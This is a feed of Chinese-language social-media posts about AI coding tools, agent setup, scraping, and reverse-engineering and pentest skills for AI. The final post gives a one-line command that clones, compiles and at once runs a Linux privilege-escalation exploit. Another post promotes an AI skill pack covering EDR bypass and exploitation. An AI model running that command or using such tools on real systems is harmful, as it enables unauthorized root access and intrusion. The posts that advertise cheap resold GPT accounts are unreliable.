butt3rflyh4ck

focus on Linux kernel security and exploit, but it is too hard.

[0xor0ne @0xor0ne]

How to use LLMs for vulnerability research by @ZephrFish

MCP: https://t.co/MT4LbPOVGU
Harness: https://t.co/Boa1uD5BQu

#cybersecurity #llm

[苏乐 @ai_suxiaole]

Android 逆向最折腾的不是反编译

是反编译完以后

还得自己从一堆混淆代码里找接口

这个 android-reverse-engineering-skill 可以直接交给 Claude Code 做

把 APK，XAPK，JAR，AAR 丢进去

它会自动反编译，再把 Retrofit，OkHttp，Ktor，GraphQL 这些网络请求找出来

接口地址，认证方式，请求签名这些也能一起整理

碰到 R8 混淆

还能从 Kotlin metadata 里恢复一部分原始类名

继续顺着 Activity，ViewModel，Repository 往下追到真正的网络请求

平时做安全研究，协议分析

或者想快速看懂一个 Android App 怎么请求接口的

这个 Skill 可以装上

GitHub：https://t.co/9oWiDtywAv

[govin.eth | G哥 @goan999999]

Codex从入门到精通完整视频教程

大家收藏了很多万字长文教程，但是会觉得读起来太累

所以我花费15小时时间做了视频版本完整教程。从安装开始，一步一步带你从入门到完全精通使用Codex，总时长7分14秒

有需要的朋友直接看视频

觉得还不错可以收藏、点赞、转发给你身边的朋友！

[余温 @gkxspace]

GPT充值站，有需要的朋友可以收藏一下，Pro一个月省两百🥲

但我很好奇，菲区便宜我知道，美区怎么做到更便宜的🤔

[pxeeww @PXeeww]

#Codex
最近熬了几个通宵，记录一点 Codex 的使用心得

1. 关于子智能体的灵活使用，新开 Codex 对话输入："读取我的所有项目，帮我建立一个15 人以内适合我的持久子代理团队，团队成员明确他的职责，并且指定每个成员使用的模型和推理级别。当团队建立后，编辑全局 agents.md，告诉他我的每个对话根据需求可以自动判断启用团队子智能体。最后输出团队人员名称、职责、模型与推理级别，输出全局 agents.md 的链接，输出团队文件夹的链接，方便我自行查看”。
这个能让任意模型对话的情况下，自动判断使用合理的子代理并行工作，结果是速度快完成度高还省 Token，要注意的是有可能会给某些角色分配gpt-5.3-codex-spark模型，这个需要手动改，因为gpt-5.3-codex-spark额度太少了，几次工作就没了，然后会不停的出错。

2. 项目快速迭代期或线上调试期，codex 花大量精力做安全、边界、门禁、复杂测试体系、生产级加固……我曾经一个任务 codex 做了 17 个小时才结束，估计 15 个小时都是在打转修复，临时解决方案：
在对应的项目中打开新对话输入：“我的项目目前是“线上内测与功能快速迭代”时期，当前工作的核心职责是快速开发整套系统工作流程、打通基础功能、完善算法效果与运行链路、完善 ToB/C 端 API 接口，并把这些能力部署到线上内测环境。所有工作必须围绕这一职责安排时间，不得主动把工作重心转向网络安全专项、全面生产加固或复杂测试工程，将你认为必要的深度测试、安全扫描、网络安全等工作计入备忘文档，每次完成对话的工作后都需要更新备忘文档。你自行利用对话与记忆判断项目的成熟度达到需要关注以上被边缘化的内容时在对话中提醒我：“项目应该进入下一阶段，应该更新 agents了”。将以上内容标准化后写入项目级 agents.md，然后将项目级 agents.md链接发给我，我会再次审核”
这个因项目而异，工作重心与边缘化事件让你的 codex 帮你写，拿我这个发给他做参考就行，记住这个一定是项目级的，不是全局级的。

3. 一定要善于利用“侧边聊天”的功能，右上角打开右侧栏就会看到侧边聊天的选项，这个可以看作是主对话的临时子智能体，只不过是有人工控制，我经常用到的对话是“看看主对话是不是跑偏了，如果偏离了主线任务，帮我纠正”，“告诉主对话，热加载 agents.md”，“看看主对话的工作做到什么程度了，预计还有多久结束”，“看看xxx对话，他有没有激活子智能体，每个子智能体的职责是什么，使用了什么模型，你有什么建议来优化子智能体团队的职责或者模型与推理级别”等等
侧边聊天最大的好处是不会污染主对话，这个应该挺重要的。

[key @VulkeyChen]

让AI搓了一个项目，用于解析BurpSuite项目文件的HTTP History，并且支持创建空的项目文件写入HTTP History信息。
https://t.co/vElzxdnH19

[Cloris 🌱 @ClorisSignal]

从prompt -> context -> loop -> graph engineering，一直高速迭代，Punk的教程总是这么及时，而且对视觉太友好了！

[riba2534 @riba2534]

https://t.co/2yQtvxkRsB

[Lucky J @_luckyj888]

给Codex接了个155K Star的爬虫神器，AI终于不瞎了。

事情是这样的。我天天让Codex联网找资料、翻文档、盯GitHub热榜。但Codex自带的联网功能碰到JS渲染的页面直接抓瞎——抓回来一个空壳，还一本正经告诉我「这页面没内容」。

后来接了Firecrawl，同一个页面干净的Markdown秒出。这玩意儿现在155K Star，GitHub全站前100。

━━━ 它是干嘛的

说白了就是把网页变成AI能看懂的样子。你给它一个URL，它还你干净的Markdown、结构化JSON或者截图。导航栏、广告、弹窗全过滤掉，官方说输入token能省93%。

数据很硬：125万开发者、15万家公司、npm+PyPI每周250万下载。

━━━ 六个核心功能

1️⃣ Scrape — 抓单页
最常用的。JS渲染的页面自动渲染完再抠，反爬代理全不用管。还能挂schema按字段返回JSON，比如只要标题和价格。网页上挂的PDF/DOCX直接解析，白皮书和财报不用下载处理了。

2️⃣ Crawl — 爬整站
给起始URL，顺着链接把整个网站抓回来。深度、页面数、路径过滤都能配。做RAG知识库的时候，导入整个文档站就一条命令。

3️⃣ Map — 列出全站URL
不抓内容，先把域名下所有URL列出来，秒回。还能带搜索词，比如只列出跟定价相关的页面。做竞品监控的时候省了大事。

4️⃣ Search — 网页搜索
直接给关键词搜索，返回每条结果的完整页面内容。老做法是搜一遍再抓一遍，它一步出结果，适合深度研究类Agent。

5️⃣ Agent — 自动干活
URL都不用给。说「找一下Notion的定价方案」，它自己去搜去读，返回结果加来源链接。模型两档：spark-1-mini便宜60%日常够用，spark-1-pro跨站对比时用。

6️⃣ Interact — 页面交互
有些数据藏在点击后面——电商搜索结果、翻页列表。用人话指挥它「搜一下机械键盘，点第一个结果」，它真去操作页面，返回还能看实时浏览器画面。第一次看到这个live view的时候我截了图。

━━━ 接AI编程工具

有官方MCP服务器，Cursor、Claude Code、Windsurf填几行配置就能用，装机量40万+。Codex一条命令搞定：

npx -y firecrawl-cli@latest init --all --browser

装完Codex就有搜索、抓取、爬站全套能力，前面说的抓瞎问题直接治好。

━━━ 实际用起来

装完我试了两个活：
① 搜最新Next.js App Router更新日志，总结一下 → 秒出
② 抓取Firecrawl文档站，列出顶级章节 → 干净Markdown

坑：报 spawn npx ENOENT 说明没装Node，装18+即可。不想本地跑可以配远程地址。

━━━ 适合谁

• 做RAG的：文档站灌知识库，比手写爬虫省心
• 做竞品监控的：定时Crawl对手官网，字段级JSON进库
• 玩AI编程的：给Cursor/Codex接MCP，AI有眼睛了

n8n、Zapier、Lovable也有现成集成，不写代码也能接。

━━━ 说两点

覆盖96%的网页，剩下的4%是防护最严的站，抓不动就是抓不动。开源版AGPL-3.0协议，商用想清楚，不确定就用云版。

合规靠自己，它默认遵守robots.txt，但拿它抓什么自己掂量。

155K Star不是刷的。网页数据这层基础设施，做AI应用的绕不开。

GitHub：https://t.co/UzQbXCzkGN

[长明 @zcm1119]

焚决 GPT玻区谷歌PLUS只要85 https://t.co/481WfPukDz

[Geek Lite @QingQ77]

一套给 AI 用的逆向工程和渗透测试技能路由包，让 AI 碰到安全任务时知道该用什么方法。

https://t.co/h7cdYNEPDd

里面有 20 多个子技能，覆盖 APK 逆向、IDA 分析、JS 前端破解、固件渗透、EDR 绕过、漏洞利用这些场景。AI 读了 routing.md 就知道碰到什么任务该进哪个技能目录。

[0x_Miko @Mikocrypto11]

Anthropic 一位 AI engineer，刚演示了如何让 AI agents 拥有真正的 memory
28 分钟
完全免费

但这个点可能会改变很多人理解 agent 的方式
大多数人现在还在每次新开 chat 时，反复 copy-paste context
但真正的 agent，不应该每次都从零开始
它应该能记住过去发生过什么

这次 workshop 讲了 4 个关键点：
为什么 agents 会在 sessions 之间忘掉一切
memory stores 如何让 agents 跨 session read / write
dreaming：让 agents 自己改进自己的 memory
95% cache hit rate，保证成本不会失控

真正有意思的是：
agent memory 不是简单“多塞一点上下文”
而是让系统形成持续状态

今天执行过什么
哪些信息有用
哪些判断错了
下次应该怎么改

如果 agent 每晚都能整理记忆、更新经验、压缩上下文，那它就不是一个临时工具
而更像一个会持续变强的工作系统
很多人还在手动喂上下文
但已经有人开始搭能跨 session 记忆、复盘、优化自己的 agents

[AYi @AYi_AInotes]

Damn，这个必须卧槽一下了，Karpathy 的 CLAUDE.md 只有 65 行，
居然能把 AI 编程准确率从 65% 拉到 94%，

以22 万星标登顶 GitHub 趋势榜，而且绝大多数开发者还没读过，

里面没有一行奇技淫巧，4 条规则全是同一个方向：

→ 先想清楚再写代码
陈述假设，不确定就问，杜绝猜测

→ 从最简方案入手
只写能解决问题的最少代码，不加任何多余抽象

→ 像手术一样精准修改
不碰与需求无关的代码，每行改动都对应明确要求

→ 以目标驱动执行
写第一行代码前，把模糊指令转化为可验证的成功标准

65 行，4 条规则，每一条都在对抗开发者“先写再说”的本能，

本质上是把慢下来这件事变成硬规则，

趁别人还没保存，赶紧先存好 👇

[Niko爱学习 @ai_super_niko]

1/5 用 Claude Code 写代码，切到 Codex 做 review，再切回来改。 每次切换都是一次思路谋杀。 你不是在写代码，你在疲于奔命。
直到 OpenAI 给竞争对手 Claude Code，出了一个官方插件：`codex-plugin-cc` 👇

[鸟哥 | 蓝鸟会🕊️ @NFTCPS]

Anthropic 偷偷上线了一个东西，大多数人还不知道

说真的，你现在用的 Claude Code，可能只发挥了三成功力。

Anthropic 悄悄推了一个官方插件，叫 claude-code-setup，没有大张旗鼓宣传，但这玩意儿是真的改变体验的那种。

它会先扫描你的项目，然后主动给你推荐配置方案，包括：

1️⃣ hooks（钩子）——让 Claude 在关键节点自动触发动作
2️⃣ skills（技能）——扩展它能干的事
3️⃣ MCP servers——接入更多外部能力
4️⃣ subagents（子代理）——让它拆任务、并行跑
5️⃣ automations（自动化）——重复的事情不用你再管

配置完之后，它不再是个"聊天写代码的工具"，而是一个真正跑起来的 AI 开发环境。

你现在感觉 Claude Code 用起来有点乱、有点飘？不是它不行，是你没把生态搭起来。裸奔版和全副武装版，根本不是一个东西。

安装方式就一行：

/plugin install claude-code-setup@claude-plugins-official

先存下来，这种东西过几天你自己都找不到。

[阿西_出海 @axichuhai]

卧槽，有个编程大神把自己的工程经验蒸馏成了一个开源项目

GitHub 热榜第一，Star数直接冲上了9万 +

作者是前 Vercel 工程师 Mat，参与过 Next.js 早期开发，以把复杂技术讲得通俗易懂著称。

他把日常和 Claude 协作的工程实践整理成 16 个 skill，一条命令安装，给 AI 注入几十年的软件工程经验。

最受好评的一个叫 Grim，让 AI 反过来拷问你，沿着决策树逐一确认需求，直到彻底搞清楚你想要什么再动手。

只有 3 句话 42 个词，被不少人评为"token 回报率最高的提示词"。

还有一个 skill 专门解决代码跑不起来的问题，强制 AI 先写一个会失败的测试，再写最少量的代码让它通过，最后重构，经典红绿循环，AI 想走捷径都难。

整套项目不只是教 AI 怎么做事，更是帮你和 AI 建立一套持续对齐的工作机制。

[Geek Lite @QingQ77]

把 IDA Pro 的静态分析能力通过 MCP 暴露出去，AI Agent 能直接查 IDB 里的反汇编、反编译、交叉引用这些东西

https://t.co/4BTaWjT0hJ

iida-mcp 是个 IDA Pro 插件，本地起个 HTTP MCP 服务（端口 13897），79 个工具把 IDB 的静态分析能力全暴露给 AI 客户端。涵盖文件信息、PE/ELF 解析、函数、反汇编、CFG、交叉引用、Hex-Rays 反编译、结构体枚举、搜索重命名注释补丁等。

[实践哥 Li @MinLiBuilds]

小天才来了。

花一分钟设置，利用Claude Code 5小时重置一次的机制，让你每天9～12点，午休后14～17点，17～下班前从容不迫使用容量100%的token window。

比crontab更好的方法。我会让Claude云端执行定时任务，本地不用打开电脑。

方法1: 在Claude Code里：
/schedule 每天7点5分、12点5分、17点5分用Haiku说一句 only say hello to me

方法2:
你也可以去https://t.co/6EFOjjDuw7直接手动创建schedule

[Master_寒蝉 @Master_HanChan]

老的版本脏牛无敌
新的版本新的漏洞

Linux新的提权漏洞👍
git clone https://t.co/BXyd3nZxi8 && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp